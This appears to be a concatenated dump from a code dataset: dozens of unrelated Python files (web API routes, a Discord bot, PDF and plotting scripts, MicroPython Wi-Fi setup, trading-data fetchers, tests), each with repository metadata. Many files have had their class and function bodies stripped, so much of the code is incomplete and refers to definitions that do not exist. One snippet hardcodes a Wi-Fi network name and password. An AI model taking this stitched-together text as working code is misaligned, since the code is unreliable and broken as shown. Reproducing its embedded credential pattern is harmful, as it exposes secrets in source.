data/transcoder_evaluation_gfg/python/CHECK_STRING_FOLLOWS_ANBN_PATTERN_NOT.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
71
2021-07-21T05:17:52.000Z
2022-03-29T23:49:28.000Z
# Copyright (c) 2019-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. # #TOFILL if __name__ == '__main__': param = [ ('ba',), ('aabb',), ('abab',), ('aaabb',), ('aabbb',), ('abaabbaa',), ('abaababb',), ('bbaa',), ('11001000',), ('ZWXv te',) ] n_success = 0 for i, parameters_set in enumerate(param): if f_filled(*parameters_set) == f_gold(*parameters_set): n_success+=1 print("#Results: %i, %i" % (n_success, len(param)))
23.051282
64
0.506118
bb64614546d6d512164770fa3b04fc627d4d3bf2
218
py
Python
api/urls.py
kaito1002/django-rest-init
8ece6311ea84c46e74a0ac0b7f42983f40a72c34
[ "MIT" ]
null
null
null
api/urls.py
kaito1002/django-rest-init
8ece6311ea84c46e74a0ac0b7f42983f40a72c34
[ "MIT" ]
null
null
null
api/urls.py
kaito1002/django-rest-init
8ece6311ea84c46e74a0ac0b7f42983f40a72c34
[ "MIT" ]
null
null
null
from rest_framework import routers from user.views import UserViewSet from .views import SampleViewSet router = routers.DefaultRouter() router.register('users', UserViewSet) router.register('samples', SampleViewSet)
24.222222
41
0.821101
bb66ace576783c81b7f71f58e215ed9554b532e3
1,249
py
Python
iipython/embeds.py
plasma-chat/plugins
58dc5e6520e62fb473eb4fda4292b9adb424b75d
[ "MIT" ]
null
null
null
iipython/embeds.py
plasma-chat/plugins
58dc5e6520e62fb473eb4fda4292b9adb424b75d
[ "MIT" ]
null
null
null
iipython/embeds.py
plasma-chat/plugins
58dc5e6520e62fb473eb4fda4292b9adb424b75d
[ "MIT" ]
null
null
null
# Copyright 2022 iiPython # Modules import time # Initialization embed_size = 45 # Plugin class
29.046512
156
0.542834
bb66fc7050d575d46b09f705e4a0c71d8c66cda1
11,303
py
Python
inn.py
NLipatov/INNer
88816c91bfb85f287b734aff69a5b60ad43f129e
[ "MIT" ]
null
null
null
inn.py
NLipatov/INNer
88816c91bfb85f287b734aff69a5b60ad43f129e
[ "MIT" ]
null
null
null
inn.py
NLipatov/INNer
88816c91bfb85f287b734aff69a5b60ad43f129e
[ "MIT" ]
null
null
null
import time, os, xlrd, xlwt, re, webbrowser, time_convert, Process_killer, tkinter as tk from tkinter import messagebox as mb from xlwt import easyxf from threading import Thread from selenium import webdriver from selenium.common.exceptions import SessionNotCreatedException from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service from subprocess import CREATE_NO_WINDOW from xlutils.copy import copy direction = None workbookname = None status = '' innermessage = ' ' message = '' refreshedINN = 0
41.862963
116
0.508891
bb67b96194c55ddd1e174b93f999f14cfde628ec
803
py
Python
backend/src/api/routes.py
gideonmandu/image-difference
50007e5a899f5f10f519ac76312cd60f76c2ddd2
[ "MIT" ]
null
null
null
backend/src/api/routes.py
gideonmandu/image-difference
50007e5a899f5f10f519ac76312cd60f76c2ddd2
[ "MIT" ]
null
null
null
backend/src/api/routes.py
gideonmandu/image-difference
50007e5a899f5f10f519ac76312cd60f76c2ddd2
[ "MIT" ]
null
null
null
import uuid from typing import Optional from fastapi import UploadFile, APIRouter from src.services.image_processing import ImageProcessor router = APIRouter(prefix="/file", tags=["passport & ID upload"]) # @router.get("",) # async def index(): # return {"test": "hello world"}
28.678571
78
0.671233
bb67eb4b7ecd3f699aaf7a537dafe8901082a0fc
1,474
py
Python
pdf_gen.py
MasatoHanayama/pdf_gen
b16491a31cea0d1a4931e979d600870d6be07c3e
[ "MIT" ]
1
2022-03-15T12:57:46.000Z
2022-03-15T12:57:46.000Z
pdf_gen.py
MasatoHanayama/pdf_gen
b16491a31cea0d1a4931e979d600870d6be07c3e
[ "MIT" ]
null
null
null
pdf_gen.py
MasatoHanayama/pdf_gen
b16491a31cea0d1a4931e979d600870d6be07c3e
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import os import argparse import img2pdf import tqdm from natsort import natsorted from PIL import Image if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('src', help='src dir') args = parser.parse_args() main(args.src) # dirs = [f.path for f in os.scandir(args.src) if f.is_dir()] # # for dir in tqdm.tqdm(dirs): # for dir in dirs: # print(dir) # webp2png(dir) # pdf_gen(dir, '{}.pdf'.format(dir))
28.346154
129
0.586839
bb67fb540424cdb298487932ac6c8b19b1c4e193
1,113
py
Python
userapiexpiry.py
tjarrettveracode/veracode-python-api_credentials_expiry-example
3188c53f81c4bf0b5f4d27f4aa1dc3de2f3f5aef
[ "MIT" ]
null
null
null
userapiexpiry.py
tjarrettveracode/veracode-python-api_credentials_expiry-example
3188c53f81c4bf0b5f4d27f4aa1dc3de2f3f5aef
[ "MIT" ]
null
null
null
userapiexpiry.py
tjarrettveracode/veracode-python-api_credentials_expiry-example
3188c53f81c4bf0b5f4d27f4aa1dc3de2f3f5aef
[ "MIT" ]
null
null
null
import sys import requests import datetime from dateutil.parser import parse from veracode_api_py import VeracodeAPI as vapi if __name__ == '__main__': main()
32.735294
115
0.645103
bb68392d7aa3e6ae41470c5c442a63fe00343194
3,258
py
Python
recipes/tensorflow/samples/pytorch/cifar10/samples/tensorflow/scorer.py
arturrutkiewicz-divae/aep-rfm-score
705fc54e505fdb8763073401be7b97c81474b0a9
[ "Apache-2.0" ]
18
2018-12-13T18:53:31.000Z
2021-09-29T20:14:05.000Z
recipes/tensorflow/samples/pytorch/cifar10/samples/tensorflow/scorer.py
DalavanCloud/experience-platform-dsw-reference
2e0af85a47ec05b7cda77d61954c1cde0a625f5c
[ "Apache-2.0" ]
27
2019-01-02T22:52:51.000Z
2021-05-26T15:14:17.000Z
recipes/tensorflow/samples/pytorch/cifar10/samples/tensorflow/scorer.py
DalavanCloud/experience-platform-dsw-reference
2e0af85a47ec05b7cda77d61954c1cde0a625f5c
[ "Apache-2.0" ]
18
2019-01-09T19:34:57.000Z
2020-10-19T11:06:50.000Z
# # Copyright 2017 Adobe. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from ml.runtime.tensorflow.Interfaces.AbstractScorer import AbstractScorer import tensorflow as tf import numpy import torch import torchvision import torchvision.transforms as transforms import torch.nn as nn import torch.nn.functional as F
34.659574
75
0.533456
bb69473a0d64dae39589b39408b2ff33e2930247
1,486
py
Python
data_loading.py
dahouda2pro/deep-learned-embedding
a4428cf99eae86691286ec18a0656e632fbc4600
[ "CC0-1.0" ]
null
null
null
data_loading.py
dahouda2pro/deep-learned-embedding
a4428cf99eae86691286ec18a0656e632fbc4600
[ "CC0-1.0" ]
null
null
null
data_loading.py
dahouda2pro/deep-learned-embedding
a4428cf99eae86691286ec18a0656e632fbc4600
[ "CC0-1.0" ]
1
2021-12-21T05:27:19.000Z
2021-12-21T05:27:19.000Z
import pandas as pd import numpy as np print("Data Loading....") #data = pd.read_csv("adult.csv") data = pd.read_csv("adult_2.csv") # print(data) # print(data.columns) # print(data.shape) # print(data.info()) # print(data.nunique()) data.describe() data.isin(['?']).sum() data = data.replace('?', np.NaN) for col in ['workclass', 'occupation', 'native.country']: data[col].fillna(data[col].mode()[0], inplace=True) data.isnull().sum() data['income'].value_counts() data['income'] = data['income'].map({'<=50K': 0, '>50K': 1}) # print(data.head()) print("********** Checking Missing Values **********") print(data.isnull().sum()) # Separate the numeric and categorical variables numeric_data = data.select_dtypes(include=[np.number]) categorical_data = data.select_dtypes(exclude=[np.number]) print("Numeric Variable") print(numeric_data.head()) print(numeric_data.info()) print(numeric_data.columns) print("Shape of Numeric Data :", numeric_data.shape) print(categorical_data.nunique()) print("Categorical Variable") print(categorical_data.head()) print("Shape of Numeric Data :", categorical_data.shape) # We have to rename all the columns of Categorical variable subset categorical_data.columns = ['Private', 'HSgrad', 'Widowed', 'Execmanagerial', 'Unmarried', 'Black', 'Female', 'UnitedStates'] print(categorical_data.head()) print("Shape of Numeric Data :", categorical_data.shape)
29.72
94
0.669583
bb69a0519f4167f3e5c1740dabcb4206f8eb16f8
261
py
Python
Projects/ESP32Micropython/flash memory/newConnectTest.py
TizioMaurizio/ArduinoWorkshop
d38ede91c6b7a925eafb0272a5fa9f44885ae017
[ "MIT" ]
null
null
null
Projects/ESP32Micropython/flash memory/newConnectTest.py
TizioMaurizio/ArduinoWorkshop
d38ede91c6b7a925eafb0272a5fa9f44885ae017
[ "MIT" ]
null
null
null
Projects/ESP32Micropython/flash memory/newConnectTest.py
TizioMaurizio/ArduinoWorkshop
d38ede91c6b7a925eafb0272a5fa9f44885ae017
[ "MIT" ]
null
null
null
import network import time sta_if = network.WLAN(network.STA_IF) sta_if.active(True) for _ in range(10): sta_if.connect('RedmiMau', 'mau12397') time.sleep(1) if sta_if.isconnected(): print('Connected.') break time.sleep(11) else: print('Fail')
20.076923
39
0.701149
bb6a551fb3c28dd9d932bdf287bf2fe78a03a168
1,313
py
Python
FilterPackets.py
aj351/peershark
80e06319f61381fe163383e5984d70a5f23760b4
[ "MIT" ]
31
2015-02-11T14:32:24.000Z
2022-02-10T11:08:23.000Z
FilterPackets.py
aj351/peershark
80e06319f61381fe163383e5984d70a5f23760b4
[ "MIT" ]
1
2015-12-29T11:17:45.000Z
2017-10-11T08:48:49.000Z
FilterPackets.py
aj351/peershark
80e06319f61381fe163383e5984d70a5f23760b4
[ "MIT" ]
26
2015-06-05T04:51:46.000Z
2022-03-22T20:28:52.000Z
## Module to obtain packet data from a pcap/dump file ## and save it in csv format using tshark. ## Filenames of input pcap files are taken from InputFiles.txt ## Tshark options are present in TsharkOptions.txt ## TsharkOptions.txt should not contain the -r option. ## usage: python FilterPackets.py #import global constants from P2P_CONSTANTS import * from FilterPacketsHelper import * import multiprocessing as MP import subprocess #execute a shell command as a child process #obtain input parameters and pcapfilenames inputfiles = getPCapFileNames() tsharkOptions = getTsharkOptions() #create a semaphore so as not to exceed threadlimit sem = MP.Semaphore(THREADLIMIT) #get tshark commands to be executed for filename in inputfiles: print filename (command,outfilename) = contructTsharkCommand(filename,tsharkOptions) task = MP.Process(target = executeCommand, args = (command, outfilename,)) task.start()
27.93617
75
0.770754
bb6b66c4796e5839d80de0a9f7880f3c7a632215
2,829
py
Python
cogs/start.py
Yureehh/Perfecto---O---Tron
cfd6f1819a9e4b7a9a406061bb7fadfea4084a86
[ "MIT" ]
null
null
null
cogs/start.py
Yureehh/Perfecto---O---Tron
cfd6f1819a9e4b7a9a406061bb7fadfea4084a86
[ "MIT" ]
1
2020-09-16T16:27:52.000Z
2020-09-16T16:27:52.000Z
cogs/start.py
Yureehh/Perfecto---O---Tron
cfd6f1819a9e4b7a9a406061bb7fadfea4084a86
[ "MIT" ]
null
null
null
import discord from discord.ext import commands,tasks from datetime import datetime import asyncio from itertools import cycle #number of minutes used at timer for loops MINUTES_TO_WAIT = 30 #in the brackets there's the class you are extending
36.269231
183
0.625309
bb6cc5ff9b1a00d13872972359a28898848fa4c7
14,716
py
Python
tests/test_parser.py
RathmoreChaos/intficpy
a5076bba93208dc18dcbf2e4ad720af9e2127eda
[ "MIT" ]
25
2019-04-30T23:51:44.000Z
2022-03-23T02:02:54.000Z
tests/test_parser.py
RathmoreChaos/intficpy
a5076bba93208dc18dcbf2e4ad720af9e2127eda
[ "MIT" ]
4
2019-07-09T03:43:35.000Z
2022-01-10T23:41:46.000Z
tests/test_parser.py
RathmoreChaos/intficpy
a5076bba93208dc18dcbf2e4ad720af9e2127eda
[ "MIT" ]
5
2021-04-24T03:54:39.000Z
2022-01-06T20:59:03.000Z
from .helpers import IFPTestCase from intficpy.ifp_game import IFPGame from intficpy.thing_base import Thing from intficpy.things import Surface, UnderSpace from intficpy.actor import Actor, SpecialTopic from intficpy.verb import ( IndirectObjectVerb, GetVerb, LookVerb, SetOnVerb, LeadDirVerb, JumpOverVerb, GiveVerb, ExamineVerb, GetAllVerb, ) from intficpy.exceptions import ObjectMatchError
32.414097
89
0.647323
bb6dc22e8ea52200d58eae5889b340543ca4b618
51
py
Python
spacy_thai/__init__.py
KoichiYasuoka/spaCy-Thai
e70aedbd3c8c88e317a4c254d91b3d4151655d1d
[ "MIT" ]
15
2020-09-26T20:59:12.000Z
2022-03-10T05:14:53.000Z
spacy_thai/__init__.py
KoichiYasuoka/spaCy-Thai
e70aedbd3c8c88e317a4c254d91b3d4151655d1d
[ "MIT" ]
4
2020-12-13T18:58:08.000Z
2022-02-21T01:07:37.000Z
spacy_thai/__init__.py
KoichiYasuoka/spaCy-Thai
e70aedbd3c8c88e317a4c254d91b3d4151655d1d
[ "MIT" ]
3
2020-09-27T11:25:42.000Z
2021-05-13T08:48:03.000Z
from .spacy_thai import ThaiTagger,ThaiParser,load
25.5
50
0.862745
bb6e51b991925d3f2d075e10b6faa76829b92e27
965
py
Python
setup.py
KAJdev/pydisfish
aca538cb3e774b4e92469b4f0dd7c8f724088e16
[ "MIT" ]
1
2021-11-04T18:38:43.000Z
2021-11-04T18:38:43.000Z
setup.py
KAJdev/pydisfish
aca538cb3e774b4e92469b4f0dd7c8f724088e16
[ "MIT" ]
null
null
null
setup.py
KAJdev/pydisfish
aca538cb3e774b4e92469b4f0dd7c8f724088e16
[ "MIT" ]
null
null
null
import setuptools import re with open("README.md", "r") as fh: long_description = fh.read() version = '' with open('pydisfish/__init__.py') as f: version = re.search(r'^__version__\s*=\s*[\'"]([^\'"]*)[\'"]', f.read(), re.MULTILINE).group(1) if not version: raise RuntimeError('version is not set') requirements = [] with open('requirements.txt') as f: requirements = f.read().splitlines() setuptools.setup( name='pydisfish', version=version, author='kajdev', description="A small module to easily interact with discord's phishing domain list.", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/kajdev/pydisfish", packages=["pydisfish"], classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], install_requires=requirements )
28.382353
99
0.65285
bb70059c996805e1f7f560d971daa768591ddbce
9,173
py
Python
backup/data_bk.py
ieee820/BraTS2018-tumor-segmentation
22e1a22909a0c21503b5ef5fc6860a1e1131e851
[ "MIT" ]
157
2018-09-22T20:45:04.000Z
2022-01-24T13:08:09.000Z
backup/data_bk.py
bonjoura/BraTS2018-tumor-segmentation
22e1a22909a0c21503b5ef5fc6860a1e1131e851
[ "MIT" ]
null
null
null
backup/data_bk.py
bonjoura/BraTS2018-tumor-segmentation
22e1a22909a0c21503b5ef5fc6860a1e1131e851
[ "MIT" ]
53
2018-10-09T09:34:15.000Z
2021-08-14T10:24:43.000Z
import sys if sys.version_info[0] == 2: import Queue as queue else: import queue import os import math import multiprocessing as mp import threading import torch from torch.utils.data import Dataset import numpy as np from data_utils import get_receptive_field, get_sub_patch_shape, \ get_offset, sample_coords, get_all_coords, nib_load PATCH_SHAPE = (25, 25, 25) KERNELS = ((3, 3, 3), )*8 SCALE_FACTOR = (3, 3, 3) SHAPE = [240, 240, 155] np.random.seed(2017) mean = [433.78412444, 661.42844749, 588.09469198, 651.22305233] mean = np.array(mean).reshape(4, 1, 1, 1) std = [1343.81579289, 1200.61193295, 1178.99769383, 1390.22978543] std = np.array(std).reshape(4, 1, 1, 1) root = '/home/thuyen/Data/brats17/Brats17TrainingData/' file_list = root + 'file_list.txt' dset = ImageList(file_list, root=root) import time start = time.time() for i in range(len(dset)): dset[i] #x1, x2, y, c = dset[0] print(time.time() - start) start = time.time() exit(0) from dataloader import DataLoader import time from sampler import SSampler batch_size = 10 num_epochs = 20 num_iters = len(dset) * num_epochs // batch_size sampler = SSampler(len(dset), num_epochs=num_epochs) dloader = DataLoader(dset, batch_size=batch_size, pin_memory=True, collate_fn=ImageList.collate, sampler=sampler, #batch_size=batch_size, pin_memory=True, shuffle=True, #num_batches = num_iters, num_workers=20) import torch #a = torch.rand(10).cuda() start = time.time() count = 0 for k, x in enumerate(dloader): if k == 0: count = 0 start = time.time() shapes = [t.shape for t in x] print(k, str(shapes)) y = [t.cuda(non_blocking=True) for t in x] count += 1 end = time.time() print((end-start)/(count - 1), count) #start = time.time() #for x in dloader: # end = time.time() # print(x[0].size(), end-start) # start = end # #exit(0) # preprocess data to speedup traning and predictions
29.782468
94
0.578764
bb715b8832fba253f15741c5824e20ae8941000e
2,364
py
Python
backintime/candles_providers/binance_api_candles/binance_api_candles.py
akim-mukhtarov/backtesting
2d0491b919885eeddd62c4079c9c7292381cb4f9
[ "MIT" ]
null
null
null
backintime/candles_providers/binance_api_candles/binance_api_candles.py
akim-mukhtarov/backtesting
2d0491b919885eeddd62c4079c9c7292381cb4f9
[ "MIT" ]
null
null
null
backintime/candles_providers/binance_api_candles/binance_api_candles.py
akim-mukhtarov/backtesting
2d0491b919885eeddd62c4079c9c7292381cb4f9
[ "MIT" ]
null
null
null
from .utils import to_ms, to_candle from ..api_candles import ApiCandles from ...timeframes import Timeframes import datetime, time import requests as r
31.945946
76
0.576565
bb723206badf8174dc3f8ba35066d0a2d790ceab
2,110
py
Python
server/grading/models.py
jauhararifin/ugrade
c5bc0ce3920534cf289c739ffe8b83ceed9f52e8
[ "MIT" ]
15
2019-02-27T19:28:23.000Z
2019-07-20T17:54:46.000Z
server/grading/models.py
jauhararifin/ugrade
c5bc0ce3920534cf289c739ffe8b83ceed9f52e8
[ "MIT" ]
9
2020-09-04T18:30:56.000Z
2022-03-25T18:41:11.000Z
server/grading/models.py
jauhararifin/ugrade
c5bc0ce3920534cf289c739ffe8b83ceed9f52e8
[ "MIT" ]
2
2019-03-29T14:15:47.000Z
2019-04-12T06:08:11.000Z
import os import random from django.db import models from contests.models import Submission, User, Contest VERDICT = ( ('RTE', 'Run Time Error'), ('MLE', 'Memory Limit Exceeded'), ('TLE', 'Time Limit Exceeded'), ('WA', 'Wrong Answer'), ('CE', 'Compilation Error'), ('IE', 'Internal Error'), ('AC', 'Accepted'), ('PENDING', 'Pending'), )
32.96875
92
0.694313
bb7233933506ce378e6905eadbfa9e01a8d6c38d
2,295
py
Python
enaml/tests/widgets/test_spin_box.py
mmckerns/enaml
ebf417b4dce9132bffa038a588ad90436a59d37e
[ "BSD-3-Clause" ]
11
2015-01-04T14:29:23.000Z
2019-12-25T05:38:37.000Z
enaml/tests/widgets/test_spin_box.py
mmckerns/enaml
ebf417b4dce9132bffa038a588ad90436a59d37e
[ "BSD-3-Clause" ]
36
2015-02-20T00:56:53.000Z
2020-12-04T10:02:14.000Z
enaml/tests/widgets/test_spin_box.py
mmckerns/enaml
ebf417b4dce9132bffa038a588ad90436a59d37e
[ "BSD-3-Clause" ]
3
2015-11-19T15:11:37.000Z
2019-03-11T23:45:02.000Z
#------------------------------------------------------------------------------ # Copyright (c) 2012, Enthought, Inc. # All rights reserved. #------------------------------------------------------------------------------ from enaml.validation.api import IntValidator from .enaml_test_case import EnamlTestCase if __name__ == '__main__': import unittest unittest.main()
31.875
90
0.623094
bb723c07c298e3147c128f216ca171ac795e93ac
192
py
Python
src/lib/core_funcs.py
thekraftyman/discord-bot-starter
e6b9174ea346ec060ecda3f2b1d22f1eb6066f95
[ "MIT" ]
null
null
null
src/lib/core_funcs.py
thekraftyman/discord-bot-starter
e6b9174ea346ec060ecda3f2b1d22f1eb6066f95
[ "MIT" ]
null
null
null
src/lib/core_funcs.py
thekraftyman/discord-bot-starter
e6b9174ea346ec060ecda3f2b1d22f1eb6066f95
[ "MIT" ]
null
null
null
# core_funcs.py # By: thekraftyman ''' container for all of the core funcs that have been distributed among files ''' from src.lib.async_funcs import * from src.lib.non_async_funcs import *
19.2
74
0.760417
bb724e768f60fb932f05a9b7ae174961837fa0fc
532
py
Python
core/models.py
rubberducklive/tcm_api
53d2b533e3f9251cce49bd4c1b8e9e65a03eaf04
[ "MIT" ]
null
null
null
core/models.py
rubberducklive/tcm_api
53d2b533e3f9251cce49bd4c1b8e9e65a03eaf04
[ "MIT" ]
null
null
null
core/models.py
rubberducklive/tcm_api
53d2b533e3f9251cce49bd4c1b8e9e65a03eaf04
[ "MIT" ]
null
null
null
import uuid from django.db import models
22.166667
79
0.734962
bb72f9435fdc29920b70ac72d5ae0238e0aa1869
1,351
py
Python
oandapyV20-examples-master/src/console/greenlets/accountdetails.py
cdibble2011/OANDA
68327d6d65dd92952d7a1dc49fe29efca766d900
[ "MIT" ]
127
2017-02-28T17:34:14.000Z
2022-01-21T13:14:30.000Z
oandapyV20-examples-master/src/console/greenlets/accountdetails.py
cdibble2011/OANDA
68327d6d65dd92952d7a1dc49fe29efca766d900
[ "MIT" ]
36
2018-06-07T21:34:13.000Z
2022-03-13T21:01:43.000Z
oandapyV20-examples-master/src/console/greenlets/accountdetails.py
cdibble2011/OANDA
68327d6d65dd92952d7a1dc49fe29efca766d900
[ "MIT" ]
76
2017-01-02T14:15:07.000Z
2022-03-28T03:49:45.000Z
# -*- coding: utf-8 -*- import gevent from oandapyV20.endpoints.accounts import AccountDetails, AccountChanges
32.95122
75
0.637306
bb73bd26c0031f64dbf994ec3a8a3952a7f0e16a
802
py
Python
wbsv/main.py
yswallow/wbsv-cli
30b68d0d1efd56fba99286d53470a39d317d6d9d
[ "MIT" ]
null
null
null
wbsv/main.py
yswallow/wbsv-cli
30b68d0d1efd56fba99286d53470a39d317d6d9d
[ "MIT" ]
null
null
null
wbsv/main.py
yswallow/wbsv-cli
30b68d0d1efd56fba99286d53470a39d317d6d9d
[ "MIT" ]
null
null
null
import sys from . import Archive from . import Find from . import ParseArgs from . import Interact def iter_urls(opt): """Iterate given urls for saving.""" try: for x in opt["urls"]: Archive.archive(Find.extract_uri_recursive(x, opt["level"]), x, opt["retry"]) except KeyboardInterrupt: print("[!]Interrupted!", file=sys.stderr) print("[!]Halt.", file=sys.stderr) exit(1) def main(): """Main function.""" opt = ParseArgs.parse_args() if len(opt["urls"]) == 0: Interact.interactive(opt) elif opt["only-target"]: [Archive.archive([x], x, opt["retry"]) for x in opt["urls"]] exit(0) else: iter_urls(opt) exit(0) if __name__ == "__main__": main()
20.05
72
0.557357
bb74b1ea7d5e069ac223adabbb64c46d9e5159e9
5,613
py
Python
Sapphire/CallStatement.py
Rhodolite/Parser-py
7743799794d92aa8560db11f1d6d5f00e5ac1925
[ "MIT" ]
null
null
null
Sapphire/CallStatement.py
Rhodolite/Parser-py
7743799794d92aa8560db11f1d6d5f00e5ac1925
[ "MIT" ]
null
null
null
Sapphire/CallStatement.py
Rhodolite/Parser-py
7743799794d92aa8560db11f1d6d5f00e5ac1925
[ "MIT" ]
null
null
null
# # Copyright (c) 2017-2018 Joy Diamond. All rights reserved. #
31.533708
112
0.549973
bb75831e0db77f35e095a17d5451a6e61a18c00c
546
py
Python
languages/python/sqlalchemy-oso/tests/test_partial.py
johnhalbert/oso
3185cf3740b74c3c1deaca5b9ec738325de4c8a2
[ "Apache-2.0" ]
null
null
null
languages/python/sqlalchemy-oso/tests/test_partial.py
johnhalbert/oso
3185cf3740b74c3c1deaca5b9ec738325de4c8a2
[ "Apache-2.0" ]
null
null
null
languages/python/sqlalchemy-oso/tests/test_partial.py
johnhalbert/oso
3185cf3740b74c3c1deaca5b9ec738325de4c8a2
[ "Apache-2.0" ]
null
null
null
"""Unit tests for partial implementation.""" from polar.expression import Expression from polar.variable import Variable from sqlalchemy_oso.partial import dot_op_path
32.117647
69
0.705128
bb75907adc83d289e117c742bd2e7ed7ea682464
426
py
Python
lib/version.py
Durendal/electrum-rby
0dadd13467d44bcc7128f0dec0fa1aeff8d22576
[ "MIT" ]
null
null
null
lib/version.py
Durendal/electrum-rby
0dadd13467d44bcc7128f0dec0fa1aeff8d22576
[ "MIT" ]
1
2021-11-15T17:47:29.000Z
2021-11-15T17:47:29.000Z
lib/version.py
Durendal/electrum-rby
0dadd13467d44bcc7128f0dec0fa1aeff8d22576
[ "MIT" ]
1
2017-11-13T23:19:46.000Z
2017-11-13T23:19:46.000Z
ELECTRUM_VERSION = '3.0' # version of the client package PROTOCOL_VERSION = '0.10' # protocol version requested # The hash of the mnemonic seed must begin with this SEED_PREFIX = '01' # Standard wallet SEED_PREFIX_2FA = '101' # Two-factor authentication
32.769231
60
0.683099
bb75ca51f4748a57620c013b53d94680ace60cc1
1,579
py
Python
src/url.py
nahueldebellis/TwitchTournamentGenerator
a0a203e08d836ad744850839385324c54314b8a4
[ "MIT" ]
null
null
null
src/url.py
nahueldebellis/TwitchTournamentGenerator
a0a203e08d836ad744850839385324c54314b8a4
[ "MIT" ]
null
null
null
src/url.py
nahueldebellis/TwitchTournamentGenerator
a0a203e08d836ad744850839385324c54314b8a4
[ "MIT" ]
null
null
null
#!/usr/bin/env python from pyshorteners import Shortener """Url class"""
41.552632
88
0.627612
bb76a8caabf2f194e804291ce67ba419fda452c3
5,302
py
Python
UniPCoA.py
AdeBC/UniRPyCoA
f5b54297daf07856d9a88ebc8e6277e7be9b7ecc
[ "MIT" ]
null
null
null
UniPCoA.py
AdeBC/UniRPyCoA
f5b54297daf07856d9a88ebc8e6277e7be9b7ecc
[ "MIT" ]
null
null
null
UniPCoA.py
AdeBC/UniRPyCoA
f5b54297daf07856d9a88ebc8e6277e7be9b7ecc
[ "MIT" ]
null
null
null
import os import pandas as pd from plotnine import * import plotnine from matplotlib import pyplot as plt import matplotlib from scipy.spatial.distance import pdist, squareform from skbio.stats.ordination import pcoa from skbio.diversity import beta_diversity from skbio.io import read from skbio.tree import TreeNode import argparse from scipy.spatial.distance import pdist, squareform if __name__ == '__main__': matplotlib.rcParams['pdf.fonttype'] = 42 matplotlib.rcParams['ps.fonttype'] = 42 parser = argparse.ArgumentParser() parser.add_argument('-i', '--abundance', type=str, default='species_abundance.csv', help='The input abundance data, columns represent samples and rows represent taxa.') parser.add_argument('-m', '--metadata', type=str, default='metadata.csv', help='The input metadata, use column "Env" to specify the group of the input samples.') parser.add_argument('-o', '--output', type=str, default='PLots.Unifrac', help='The folder to save output table and plots.') parser.add_argument('-t', '--tree', type=str, default='LTPs132_SSU_tree.newick', help='The input phylogenetic tree, in Newick format.') parser.add_argument('--metric', type=str, default='weighted_unifrac', help='The metric for beta_diversity calculation.') args = parser.parse_args() print('Loading data...') X = pd.read_csv(args.abundance, index_col=0).T Y = pd.read_csv(args.metadata).set_index('SampleID') use_phylogeny = args.metric in ['weighted_unifrac', 'unweighted_unifrac'] if use_phylogeny: tree = loadTree(tree=args.tree) print('Processing the phylogenetic tree...') for n in tree.postorder(): if n.name != None and '_ ' in n.name: n.name = n.name.split('_ ')[1] names = [n.name for n in tree.postorder()] print('Processing the abundance data...') ids = X.index.tolist() otu_ids = X.columns.tolist() X = X.reset_index().melt(id_vars=['index'], value_vars=X.columns, var_name='taxonomy', value_name='abundance') taxa = pd.DataFrame(X.taxonomy.apply(lambda x: dict(map(lambda y: y.split('__'), filter(lambda x: not x.endswith('__'), x.split(';'))))).tolist()) X = pd.concat([X.drop(columns=['taxonomy']), taxa], axis=1) X = X.melt(id_vars=['index','abundance'], value_vars=taxa.columns, var_name='rank', value_name='taxonomy') X = X.groupby(by=['index', 'taxonomy'], as_index=False).sum().pivot_table(columns='taxonomy', index='index', values='abundance') if use_phylogeny: X = X.loc[:, X.columns.to_series().isin(names)] ids = X.index.tolist() otu_ids = X.columns.tolist() try: print('Trying calculating {} beta_diversity using scikit-bio & scikit-learn package...'.format(args.metric)) print('This could be time-consuming.') if use_phylogeny: mat = beta_diversity(args.metric, X, ids, tree=tree, otu_ids=otu_ids, validate=False).data else: mat = beta_diversity(args.metric, X, ids, otu_ids=otu_ids, validate=False).data except ValueError: print('Failed, the metric you selected is not supported by neither scikit-bio nor scikit-learn.') print('Trying using SciPy...') mat = squareform(pdist(X, metric=args.metric)) print('Succeeded!') pcs = pd.DataFrame(pcoa(mat, number_of_dimensions=2).samples.values.tolist(), index=X.index, columns=['PC1', 'PC2']) pcs = pd.concat([pcs, Y], axis=1) print('Visualizing the data using plotnine package...') p = (ggplot(pcs, aes(x='PC1', y='PC2', color='Env')) + geom_point(size=0.2) + scale_color_manual(['#E64B35FF','#4DBBD5FF','#00A087FF','#3C5488FF','#F39B7FFF','#8491B4FF','#91D1C2FF']) + theme(panel_grid_major = element_blank(), panel_grid_minor = element_blank(), panel_background = element_blank()) + theme(axis_line = element_line(color="gray", size = 1)) + stat_ellipse() + xlab('PC1') + ylab('PC2') ) box_1 = (ggplot(pcs, aes(x='Env', y='PC1', color='Env')) + geom_boxplot(width=0.3, show_legend=False) + scale_color_manual(['#E64B35FF','#4DBBD5FF','#00A087FF','#3C5488FF','#F39B7FFF','#8491B4FF','#91D1C2FF']) + theme(figure_size=[4.8, 1]) + theme(panel_grid_major = element_blank(), panel_grid_minor = element_blank(), panel_background = element_blank()) + theme(axis_line = element_line(color="gray", size = 1)) + xlab('Env') + ylab('PC1') + coord_flip() ) box_2 = (ggplot(pcs, aes(x='Env', y='PC2', color='Env')) + geom_boxplot(width=0.3, show_legend=False) + scale_color_manual(['#E64B35FF','#4DBBD5FF','#00A087FF','#3C5488FF','#F39B7FFF','#8491B4FF','#91D1C2FF']) + theme(figure_size=[4.8, 1]) + theme(panel_grid_major = element_blank(), panel_grid_minor = element_blank(), panel_background = element_blank()) + theme(axis_line = element_line(color="gray", size = 1)) + xlab('Env') + ylab('PC2') + coord_flip() ) if not os.path.isdir(args.output): os.mkdir(args.output) p.save(os.path.join(args.output, 'PCoA.pdf'), width=4.8, height=4.8) box_1.save(os.path.join(args.output, 'PC1_boxplot.pdf'), width=4.8, 